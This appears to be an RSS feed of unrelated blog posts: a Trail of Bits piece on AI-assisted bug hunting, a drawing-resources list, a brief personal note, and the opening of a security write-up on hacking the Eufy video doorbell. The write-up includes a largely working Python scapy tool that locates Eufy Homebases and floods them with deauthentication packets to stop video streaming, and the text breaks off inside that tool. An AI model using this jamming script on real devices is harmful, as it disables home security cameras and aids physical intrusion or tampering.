<p>If you want the bug found through fuzzing, &ldquo;use fuzzing&rdquo; is as far as you should go. &ldquo;Build on top of my existing fuzzing harness&rdquo; or &ldquo;build a new fuzzing harness&rdquo; are both worse. There might be an existing harness that&rsquo;s just as good. A goal that prescribes the path guarantees Codex never takes another one, and you lose the judgment and open-ended problem solving that make <code>/goal</code> unique.</p>
<p>The outcome side takes more care because it has to be calibrated. If it’s too specific, Codex doesn’t have enough to search and the value of an autonomous <code>/goal</code> run is unclear. When we fed Codex the exact root cause of a known bug and asked it to find variants, it found nothing. The scope was too narrow. When we cut the input down to a single sentence describing the <em>class of bugs</em> it should look for based on the known bug, it surfaced numerous bugs. We reported 9 of them, with 3 already fixed and merged upstream.</p>
<p>If an outcome is too vague, the model provides outputs that don’t match what you were looking for. One of the worst <code>/goal</code> prompts we saw during Patch the Planet was “find bugs in [X].” The model had no way to tell when it was done. It just kept running, surfacing bugs that had no real-world impact, and wasting tokens.</p>
<p>A complete outcome definition also says what doesn&rsquo;t count as done. The open-source projects in Patch the Planet have some of the most audited code in the world, and more than once <code>/goal</code> came back with &ldquo;no bugs found.&rdquo; We treat that as an intermediate result, not a completion condition, and write persistence into the goal itself.</p>
<p><strong>The most effective resource for <code>/goal</code> bug hunting is a <code>THREAT_MODEL.md</code> file.</strong> We ended up referencing a threat model file in almost every goal we ran because it precisely defines what valid bugs look like without explaining how to find them. We recommend every open-source project create one.</p>
<h2 id="3-assign-one-outcome-per-agent">3. Assign one outcome per agent</h2>
<p>Putting two competing outcomes in one <code>/goal</code> prompt results in uneven optimization. We ran into this repeatedly when a goal asked for both bugs and coverage. When we put &ldquo;find bugs&rdquo; and &ldquo;achieve high coverage&rdquo; in the same prompt, the run ended up doing one of them far better than the other.</p>
<p>This was our experience while using <code>/goal</code> to audit zlib. Codex kept gravitating to the same part of the codebase, fuzzing the areas the model found first without reaching the rest. Our initial instinct was to fix that in the prompt by adding coverage requirements, but Codex then switched its optimization to coverage, and we saw lackluster vulnerability hunting.</p>
<p>What worked instead was moving coverage out of the prompt entirely. We asked Codex to first identify the five most promising attack surfaces after scouring through the entire codebase. Then we created a separate <code>/goal</code> session to find bugs in each section. We also added one fully open-ended session alongside them to roam the parts of the codebase the other agents weren’t assigned. This approach worked <a href="https://blog.trailofbits.com/2026/07/02/field-reports-from-patch-the-planet/">drastically better</a>.</p>
<p>
<figure>
<img src="https://blog.trailofbits.com/2026/07/28/how-we-use-goal-to-find-bugs-in-patch-the-planet/goal_ptp_figure_3_hu_2a14b2f59f76ba60.webp"
alt="&ldquo;Figure 3: Rust maintainers assumed we had a team of engineers working on finding bugs. It was just one engineer with a strong handle on Codex&rsquo;s /goal.&rdquo;"
width="1200"
height="616"
loading="lazy"
decoding="async" />
<figcaption>Figure 3: Rust maintainers assumed we had a team of engineers working on finding bugs. It was just one engineer with a strong handle on Codex&#39;s /goal.</figcaption>
</figure>
</p>
<p>One of our engineers, Kevin Valerio, created an automated variant-analysis system for the Rust compiler leveraging <code>/goal</code>. Every Rust bug we submitted through Patch the Planet came out of it.</p>
<ol>
<li>
<p>P-critical is a label created by Rust maintainers to identify bugs that should be prioritized to patch and merge. The pipeline began by downloading every issue tagged P-critical in the rust-lang/rust repository as JSON.</p>
</li>
<li>
<p>An orchestrator reads the issues and spawns a separate agent for each one. One outcome per agent: instead of a single session told to perform variant-analysis on each bug, the orchestrator creates one Codex session per issue, each running an independent task to find a single outcome.</p>
</li>
<li>
<p>Each session runs in Goal mode with a deliberately small prompt to find a security issue with the same root cause as the original bug in P-critical. It receives a one-sentence description of the risk rather than an exact root cause with a full backtrace, so the model can still have the freedom to explore the codebase more.</p>
</li>
<li>
<p>Before any variant hunt begins, a security gate asks whether the source issue is even a real vulnerability and routes it to skip, no_variant, or bug_found. We are using that to focus on the most impactful P-critical bugs.</p>
</li>
<li>
<p>Every candidate runs a two-pass false-positive gauntlet. The first judge checks that the bug poses a genuine security risk. The second, a different model entirely, runs a PoC-focused pass and demands that the issue can potentially cause security issues relevant to the Rust threat model. A candidate reaches &ldquo;validated finding&rdquo; only if both passes agree.</p>
</li>
<li>
<p>Validated findings pass one last human filter. A duplicate check happens before anything is opened. Only bugs that are confirmed upstream and not already found in GitHub&rsquo;s issue backlog are drafted for submission.</p>
</li>
</ol>
<p>
<figure>
<img src="https://blog.trailofbits.com/2026/07/28/how-we-use-goal-to-find-bugs-in-patch-the-planet/goal_ptp_figure_4_hu_b6101cf6b22bf7cc.webp"
alt="&ldquo;Figure 4: The full workflow Kevin Valerio used to find every bug in Rust&rdquo;"
width="1200"
height="675"
loading="lazy"
decoding="async" />
<figcaption>Figure 4: The full workflow Kevin Valerio used to find every bug in Rust</figcaption>
</figure>
</p>
<h2 id="where-human-judgment-is-needed">Where human judgment is needed</h2>
<p>Since its release, <code>/goal</code> has been a powerful tool for amplifying the bug-hunting work that we do. Codex can create custom security infrastructure that takes a security researcher weeks to build in under a day. It can scour thousands of lines of code faster than any human can.</p>
<p><code>/goal</code> will faithfully pursue whatever outcome we give the model, which means the run is mostly decided before the model starts. But its effectiveness still depends on an expert knowing where to look, verifying its results count as a reportable finding, and knowing what the maintainers on the other side actually want to see as a valid vulnerability disclosure. Prompt engineering is a large part of it, but you can only write a good prompt if you know exactly what you’re looking for.</p>
Drawing Resources - Robb Knight • Posts • Atom Feed
https://rknight.me/blog/drawing-resources/
2026-07-28T08:22:00.000Z
<p>I asked for <a href="https://rknight.me/notes/202607241729/">recommendations for courses and books</a> related to learning drawing techniques and I got a bunch of great suggestions. I've not tried any of these yet (except a single video from <a href="https://www.youtube.com/@alphonsodunn">Alphonso Dunn</a> but I want to collect these in one place I can refer back to.</p>
<ul>
<li><a href="https://www.drawright.com">Drawing on the Right Side of the Brain</a> by Betty Edwards via <a href="https://social.lol/@digitalsnow/116976188532171005">Kerri</a> and <a href="https://icosahedron.website/@valrus/116976758255735047">Valrus</a>. There's a few editions of this but I'll pick up a second hand copy of whichever one I come across first.</li>
<li>Books by <a href="https://christopherhartbooks.com/mybooks/">Christopher Hart</a> via <a href="https://social.lol/@andycarolan/116976207039992957">Andy</a> and <a href="https://social.lol/@alienlebarge/116976231988180466">alienlebarge</a>. I have one of these on the way to check it out.</li>
<li>The aforementioned Alphonso Dunn has a book called Pen and Ink Drawing, A Simple Guide. I found a copy of this really cheap on Vinted which is on its way to me. He also has a huge number of videos on his YouTube channel. via <a href="https://social.coop/@hollie/116976207352426536">Hollie</a> and <a href="https://social.lol/@kalikambo/116984724864720179">kalikambo</a></li>
<li>Maggie Appleton has a <a href="https://maggieappleton.com/illustration-resources">great list of courses and books</a> via <a href="https://front-end.social/@eeeps/116978912177621712">Eric</a></li>
<li>Eric also suggested <a href="https://archive.org/details/andrew-loomis-fun-with-a-pencil">Fun with a Pencil</a> and <a href="https://ia601901.us.archive.org/19/items/The_Natural_Way_To_Draw_by_Kimon_Nicolaides/The_Natural_Way_To_Draw_by_Kimon_Nicolaides.pdf">The Natural Way to Draw</a></li>
<li><a href="https://www.abebooks.co.uk/9780863180392/Draw-Master-Art-Jeffery-Camp-0863180396/plp">Draw</a> by Jeffrey Camp and <a href="https://www.drawright.com/bettys-books">Drawing on the Artist Within</a>, another Betty Edwards one came via <a href="https://social.lol/@gary/116976523217332774">Gary</a>.</li>
</ul>
<p>I'm not going to get everything on this list because that would be chaos but there's lots of great stuff in here that I can choose from.</p>
📝 2026-07-28 09:16: Always fun when your bike runs out of electricity on the way to work. Note... - Kev Quirk
https://kevquirk.com/2026-07-28-0916
2026-07-28T08:16:00.000Z
<p>Always fun when your bike runs out of electricity on the way to work.</p>
<p>Note to self: connect the trickle charger TONIGHT!</p>
<p>(Wife is on the way with my jump box to save me)</p>
<p><img loading="lazy" src="https://kevquirk.com/content/images/2026-07-28-0916/1000010732.webp" alt="1000010732" /></p> <div class="email-hidden">
<hr />
<p>Thanks for reading this post via RSS. RSS is ace, and so are you. ❤️</p>
<p>You can <a href="mailto:19gy@qrk.one?subject=%F0%9F%93%9D%202026-07-28%2009%3A16">reply to this post by email</a>, or <a href="https://kevquirk.com/2026-07-28-0916#comments">leave a comment</a>.</p>
</div>
From your doorbell to your home network - Adepts of 0xCC
https://adepts.of0x.cc/Eufy-DoorBell-hacking
2026-07-28T00:00:00.000Z
<p>Dear Fell<strong>owl</strong>ship, I am delighted to inform you that the owls have found the time to get back to hacking in their spare time. After this two-year hiatus, we are pleased to preach a new homily from this humble digital pulpit of ours. Please, take a seat and listen to the story.</p>
<h1 id="table-of-contents">Table of contents</h1>
<p>This article is going to be significantly longer than what I usually write, so this table of contents allows you to jump straight to the section that interests you most and skip the rest. Although, naturally, this little owl would love for you to read the whole thing.</p>
<ul>
<li><a href="#0x00-preamble">0x00 Preamble</a>. Introduction about how this research started. You can skip it freely if you are only interested in technical details.</li>
<li><a href="#0x01-introduction-to-the-ecosystem">0x01 Introduction to the ecosystem</a>. Brief explanation about the product, its components and how they are related.</li>
<li><a href="#0x02-jamming">0x02 Jamming</a>. You can remotely disconnect the doorbell from the “management” network avoiding it to stream video/audio. A crappy Proof of Concept is provided.</li>
<li><a href="#0x03-soundwave-sync-protocol">0x03 Soundwave sync protocol</a>. Reverse Engineering the soundwave protocol used to sync the doorbell with the homebase.</li>
<li><a href="#0x04-extracting-and-decrypting-ocean_xxxxxx-creds-from-flash-memory">0x04 Extracting and decrypting OCEAN_XXXXXX creds from memory dump</a>. Recovered and revere enginering of the encrypted configuration file that contains the credentials used by the doorbell to connect to the hidden network.</li>
</ul>
<h1 id="0x00-preamble">0x00 Preamble</h1>
<p>Last June I had the opportunity to give a talk at the EuskalHack congress (my talk was a simple <a href="https://github.com/X-C3LL/congresos-slides/blob/master/Ticket%20Please-EuskalHack2026.pdf">101 talking about ad-joined linux environments</a>). I brought my brother-in-law along because he was finishing his master’s degree in computer science (apparently, besides the bachelor’s degree, they now have to complete a qualifying master’s program), and I wanted to show him a bit of the hacking world and try to spark some interest.</p>
<p>And I got lucky: <a href="https://twitter.com/pepeluxx">Pepelux</a>’s talk on how he pwned a video intercom really piqued his interest. So, I decided to capitalize on that interest and suggest trying to hack some gadget over the summer as a learning exercise.</p>
<p>It took me a couple of weeks to settle on a target, until one day, while walking through my wonderful city, I noticed the sheer number of video doorbells there are. Unfortunately, my city is infected by that modern-day cancer: unchecked tourism and the destruction of local community life caused by short-term tourist rentals. It is a tumor that grows and causes necrosis in the social fabric of our neighborhoods.</p>
<p>So I did the obvious thing… figure out the most common model used by them and try to pwn it <strong>:)</strong></p>
<p>That’s how I set my sights on the “Eufy Security Video Doorbell” ecosystem.</p>
<h1 id="0x01-introduction-to-the-ecosystem">0x01 Introduction to the ecosystem</h1>
<p>I bought this “Eufy Security Video Doorbell” from internet. As can be seen in the box it is composed by two parts: the “Homebase Station 2” and the “Doorbell” itself. The Homebase works as a central hub and it is what the user connects to the intertubes (via wifi or ethernet cable), meanwhile the video doorbell is placed at your door. The doorbell (and I guess the rest of products related to Eufy) communicates with the Homebase station through a hidden wifi.</p>
<figure>
<img src="/Eufy-DoorBell-hacking/box.jpg" alt="Eufy box" />
<figcaption>
Product box showing the two components
</figcaption>
</figure>
<p>I almost forgot that the box also contained a beautiful sticker to tell your neighbours you are recording them 24/7:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/sticker.jpg" alt="Sticker" />
<figcaption>
24/7 video recorded
</figcaption>
</figure>
<p>The Homebase Station:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/homebase.jpg" alt="Homebase Station 2" />
<figcaption>
Homebase Station 2
</figcaption>
</figure>
<p>The Doorbell:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/doorbell.jpg" alt="Doorbell" />
<figcaption>
Doorbell
</figcaption>
</figure>
<p>Everything is controlled from their mobile App. It let you communicate with the Homebase and add new devices, communicate with the doorbell, and all the typical stuff you would expect.</p>
<p>There was a USENIX talk about this same ecosystem called <a href="https://www.usenix.org/system/files/woot24-goeman.pdf">Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols</a> where the authors focused on low entropy used to generate the pre-shared key (PSK) used in the hidden network that the Homebase uses to manage the devices (and also performs a deep research on the P2P protocol). This research was done in 2023 and Eufy changed a lot of stuff (for example the PSK is not 8 bytes anymore, we will talk about it later) but something it still true: the hidden network is called <strong>OCEAN_XXXXXX</strong>, being the suffix the last 24 bits of Homebase’s MAC.</p>
<p>The following diagram created with my 4 years old desing skills helps to visualize the role of each element:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/network-diagram.png" alt="Network" />
<figcaption>
Network diagram
</figcaption>
</figure>
<p>Because the doorbell (and I guess other Eufy devices) must communicate to internet at some point, the Homestation acts as a gateway and if you connect (we will discuss about it later) to that hidden network you can browse freely. Also it <strong>gives you access to any other element in the network</strong> (for example, your router web interface).</p>
<h1 id="0x02-jamming">0x02 Jamming</h1>
<p>The most obvious thing I thought was… if this uses standard WPA2 without any kind of protection… would it be vulnerable to deauth packets? The answer is: yes, of course. You can remotely flood it with deauth packets and make it disconnect from the hidden network, so the video/audio is recorded locally but not streamed to the Homebase/mobile app, making it an interesting way to physically approach to it and apply a wellness massage with a stone. Or to open it, dump its memory, and close it so nobody knows you manipulated it.</p>
<p><em>Obvious disclaimer: I am not inciting the commission of any act of vandalism, I am just talking about Threat Modelling.</em></p>
<p>Identify the presence of Homebases is easy because the first 24 bits of its MAC are known (both, the doorbell and the homebase uses the same prefix): <code class="language-plaintext highlighter-rouge">90:bf:d9</code>. We can dust off an old Alfa wifi anntena, connect it to a battery-powered Raspberry Pi, and walk around to locate beacons from stations with a MAC address matching the one we are looking for. Then grab what channel is using and send a probe request with <code class="language-plaintext highlighter-rouge">OCEAN_XXXXXX</code> building it with the last 24 bits of the seen MAC. If we get a probe response it means we got a Homebase and we can send broadcast deauth packets to that network. A crappy script that summarizes this process can be found below:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">from</span> <span class="nn">scapy.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">scapy.layers.dot11</span> <span class="kn">import</span> <span class="n">Dot11</span><span class="p">,</span> <span class="n">Dot11Elt</span>
<span class="kn">from</span> <span class="nn">scapy.layers.dot11</span> <span class="kn">import</span> <span class="n">RadioTap</span>
<span class="kn">import</span> <span class="nn">subprocess</span><span class="p">,</span> <span class="n">time</span>
<span class="n">ch</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">ssid</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">bssid</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">iface</span> <span class="o">=</span> <span class="s">"wlan1"</span>
<span class="n">whale_mac</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">whale_ssid</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">def</span> <span class="nf">banner</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\t\t</span><span class="s">-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'''
_==|
_==| )__) |
)_) )___) ))
)___) )____))_)
_ )____)_____))__)</span><span class="se">\\</span><span class="s">
</span><span class="se">\\</span><span class="s">---__|____/|___|___-</span><span class="se">\\\\</span><span class="s">---
^^^^^^^^^</span><span class="se">\\</span><span class="s"> oo oo oo oo /~~^^^^^^^
~^^^^ ~~~~^^~~~~^^~~^^~~~~~
~~^^ ~^^~ ~^~ ~^ ~^
~^~~ ~~~^^~
'''</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">beacon_handler</span><span class="p">(</span><span class="n">pkt</span><span class="p">):</span>
<span class="k">global</span> <span class="n">ch</span>
<span class="k">global</span> <span class="n">ssid</span>
<span class="k">global</span> <span class="n">bssid</span>
<span class="k">if</span> <span class="n">ch</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">pkt</span><span class="p">.</span><span class="n">haslayer</span><span class="p">(</span><span class="n">Dot11</span><span class="p">):</span>
<span class="k">return</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">pkt</span><span class="p">[</span><span class="n">Dot11</span><span class="p">]</span>
<span class="k">if</span> <span class="n">d</span><span class="p">.</span><span class="nb">type</span> <span class="o">!=</span> <span class="mi">0</span> <span class="ow">or</span> <span class="n">d</span><span class="p">.</span><span class="n">subtype</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">):</span>
<span class="k">return</span>
<span class="k">if</span> <span class="n">d</span><span class="p">.</span><span class="n">addr2</span> <span class="ow">and</span> <span class="n">d</span><span class="p">.</span><span class="n">addr2</span><span class="p">.</span><span class="n">lower</span><span class="p">()[:</span><span class="mi">8</span><span class="p">]</span> <span class="o">==</span> <span class="s">"90:bf:d9"</span><span class="p">:</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">pkt</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="p">.</span><span class="n">payload</span>
<span class="k">if</span> <span class="n">cur</span> <span class="ow">is</span> <span class="bp">None</span> <span class="ow">or</span> <span class="n">cur</span> <span class="o">==</span> <span class="n">NoPayload</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">cur</span><span class="p">,</span> <span class="n">Dot11Elt</span><span class="p">)</span> <span class="ow">and</span> <span class="n">cur</span><span class="p">.</span><span class="n">ID</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">cur</span><span class="p">.</span><span class="n">info</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">ch</span> <span class="o">=</span> <span class="n">cur</span><span class="p">.</span><span class="n">info</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">ssid</span> <span class="o">=</span> <span class="s">"OCEAN_"</span> <span class="o">+</span> <span class="n">d</span><span class="p">.</span><span class="n">addr2</span><span class="p">.</span><span class="n">upper</span><span class="p">()[</span><span class="mi">8</span><span class="p">:].</span><span class="n">replace</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span><span class="s">""</span><span class="p">)</span>
<span class="n">bssid</span> <span class="o">=</span> <span class="n">d</span><span class="p">.</span><span class="n">addr2</span><span class="p">.</span><span class="n">upper</span><span class="p">()</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">ch</span> <span class="o">!=</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Arr!! Our lookout has spotted movement on channel "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span> <span class="o">+</span> <span class="s">"!!"</span><span class="p">)</span>
<span class="k">return</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">def</span> <span class="nf">set_channel</span><span class="p">(</span><span class="n">mon_iface</span><span class="p">):</span>
<span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span><span class="s">"sudo"</span><span class="p">,</span> <span class="s">"iw"</span><span class="p">,</span> <span class="s">"dev"</span><span class="p">,</span> <span class="n">mon_iface</span><span class="p">,</span> <span class="s">"set"</span><span class="p">,</span> <span class="s">"channel"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">ch</span><span class="p">)],</span> <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">DEVNULL</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">DEVNULL</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">build_req</span><span class="p">():</span>
<span class="k">global</span> <span class="n">ssid</span>
<span class="k">global</span> <span class="n">bssid</span>
<span class="n">rt</span> <span class="o">=</span> <span class="n">RadioTap</span><span class="p">()</span>
<span class="n">dot11</span> <span class="o">=</span> <span class="n">Dot11</span><span class="p">(</span><span class="nb">type</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">subtype</span><span class="o">=</span><span class="mi">4</span><span class="p">,</span> <span class="n">addr1</span><span class="o">=</span><span class="s">"ff:ff:ff:ff:ff:ff"</span><span class="p">,</span> <span class="n">addr2</span><span class="o">=</span><span class="s">"90:bf:d9:9f:13:37"</span><span class="p">,</span> <span class="n">addr3</span><span class="o">=</span><span class="n">bssid</span><span class="p">)</span>
<span class="n">probe_req</span> <span class="o">=</span> <span class="p">(</span>
<span class="n">rt</span> <span class="o">/</span> <span class="n">dot11</span> <span class="o">/</span>
<span class="n">Dot11Elt</span><span class="p">(</span><span class="n">ID</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">info</span><span class="o">=</span><span class="n">ssid</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span> <span class="o">/</span>
<span class="n">Dot11Elt</span><span class="p">(</span><span class="n">ID</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">info</span><span class="o">=</span><span class="nb">bytes</span><span class="p">([</span><span class="mh">0x82</span><span class="p">,</span><span class="mh">0x84</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x96</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x12</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x24</span><span class="p">]))</span> <span class="o">/</span>
<span class="n">Dot11Elt</span><span class="p">(</span><span class="n">ID</span><span class="o">=</span><span class="mi">50</span><span class="p">,</span> <span class="n">info</span><span class="o">=</span><span class="nb">bytes</span><span class="p">([</span><span class="mh">0x30</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">]))</span> <span class="o">/</span>
<span class="n">Dot11Elt</span><span class="p">(</span><span class="n">ID</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">info</span><span class="o">=</span><span class="nb">bytes</span><span class="p">([</span><span class="mi">2</span><span class="p">]))</span> <span class="o">/</span>
<span class="n">Dot11Elt</span><span class="p">(</span><span class="n">ID</span><span class="o">=</span><span class="mi">45</span><span class="p">,</span> <span class="n">info</span><span class="o">=</span><span class="nb">bytes</span><span class="p">([</span><span class="mh">0x30</span><span class="p">])</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">(</span><span class="mi">25</span><span class="p">))</span> <span class="o">/</span>
<span class="n">Dot11Elt</span><span class="p">(</span><span class="n">ID</span><span class="o">=</span><span class="mi">221</span><span class="p">,</span> <span class="n">info</span><span class="o">=</span><span class="nb">bytes</span><span class="p">([</span><span class="mh">0xaa</span><span class="p">,</span><span class="mh">0xbb</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x18</span><span class="p">]))</span>
<span class="p">)</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">probe_req</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="p">.</span><span class="n">payload</span>
<span class="k">if</span> <span class="n">cur</span> <span class="ow">is</span> <span class="bp">None</span> <span class="ow">or</span> <span class="n">cur</span> <span class="o">==</span> <span class="n">NoPayload</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">cur</span><span class="p">,</span> <span class="n">Dot11Elt</span><span class="p">)</span> <span class="ow">and</span> <span class="n">cur</span><span class="p">.</span><span class="n">ID</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
<span class="n">cur</span><span class="p">.</span><span class="n">info</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">ch</span><span class="p">])</span>
<span class="k">break</span>
<span class="k">return</span> <span class="n">probe_req</span>
<span class="k">def</span> <span class="nf">handle_probe_resp</span><span class="p">(</span><span class="n">pkt</span><span class="p">):</span>
<span class="k">global</span> <span class="n">whale_mac</span>
<span class="k">global</span> <span class="n">whale_ssid</span>
<span class="k">if</span> <span class="n">whale_mac</span> <span class="o">!=</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">pkt</span><span class="p">.</span><span class="n">haslayer</span><span class="p">(</span><span class="n">Dot11</span><span class="p">):</span>
<span class="k">return</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">pkt</span><span class="p">[</span><span class="n">Dot11</span><span class="p">]</span>
<span class="k">if</span> <span class="n">d</span><span class="p">.</span><span class="nb">type</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">d</span><span class="p">.</span><span class="n">subtype</span> <span class="o">==</span> <span class="mi">5</span><span class="p">:</span>
<span class="k">if</span> <span class="n">d</span><span class="p">.</span><span class="n">addr1</span> <span class="ow">and</span> <span class="n">d</span><span class="p">.</span><span class="n">addr1</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="o">==</span> <span class="s">"90:bf:d9:9f:13:37"</span><span class="p">:</span>
<span class="n">whale_mac</span> <span class="o">=</span> <span class="n">d</span><span class="p">.</span><span class="n">addr2</span><span class="p">.</span><span class="n">upper</span><span class="p">()</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">pkt</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="p">.</span><span class="n">payload</span>
<span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">cur</span><span class="p">,</span> <span class="n">Dot11Elt</span><span class="p">)</span> <span class="ow">and</span> <span class="n">cur</span><span class="p">.</span><span class="n">ID</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">whale_ssid</span> <span class="o">=</span> <span class="n">cur</span><span class="p">.</span><span class="n">info</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">"ignore"</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Our lookout confirmed it! It's a big one!!"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'''
.-------------'```'----....,,__ _,
| `'`'`'`'-.,.__ .'(
| `'--._.' )
| `'-.<
</span><span class="se">\\</span><span class="s"> .-'`'-. -. `</span><span class="se">\\</span><span class="s">
</span><span class="se">\\</span><span class="s"> -.o_. _ _,-'`</span><span class="se">\\</span><span class="s"> |
``````''--.._.-=-._ .' </span><span class="se">\\</span><span class="s"> _,,--'` `-._(
(^^^^^^^^`___ '-. | </span><span class="se">\\</span><span class="s"> __,,..--' `
````````` `'--..___</span><span class="se">\\</span><span class="s"> |`
`-.,'
'''</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\t\t\t</span><span class="s">"</span> <span class="o">+</span> <span class="n">whale_ssid</span> <span class="o">+</span> <span class="s">"</span><span class="se">\t</span><span class="s">"</span> <span class="o">+</span> <span class="n">whale_mac</span><span class="p">)</span>
<span class="k">return</span>
<span class="k">def</span> <span class="nf">deauth</span><span class="p">():</span>
<span class="k">global</span> <span class="n">whale_mac</span>
<span class="k">global</span> <span class="n">iface</span>
<span class="n">packet</span> <span class="o">=</span> <span class="n">RadioTap</span><span class="p">()</span> <span class="o">/</span> \
<span class="n">Dot11</span><span class="p">(</span><span class="nb">type</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span>
<span class="n">subtype</span><span class="o">=</span><span class="mi">12</span><span class="p">,</span>
<span class="n">addr1</span><span class="o">=</span><span class="s">"ff:ff:ff:ff:ff:ff"</span><span class="p">,</span>
<span class="n">addr2</span><span class="o">=</span><span class="n">whale_mac</span><span class="p">,</span>
<span class="n">addr3</span><span class="o">=</span><span class="n">whale_mac</span><span class="p">)</span> <span class="o">/</span> \
<span class="n">Dot11Deauth</span><span class="p">(</span><span class="n">reason</span><span class="o">=</span><span class="mi">7</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Launching 500 harpoons to hunt that whale!"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">500</span><span class="p">):</span>
<span class="n">sendp</span><span class="p">(</span><span class="n">packet</span><span class="p">,</span> <span class="n">iface</span><span class="o">=</span><span class="n">iface</span><span class="p">,</span> <span class="n">verbose</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">banner</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Baleeiro is watching the ocean..."</span><span class="p">)</span>
<span class="n">sniff</span><span class="p">(</span><span class="n">iface</span><span class="o">=</span><span class="n">iface</span><span class="p">,</span> <span class="n">prn</span><span class="o">=</span><span class="n">beacon_handler</span><span class="p">,</span> <span class="n">store</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
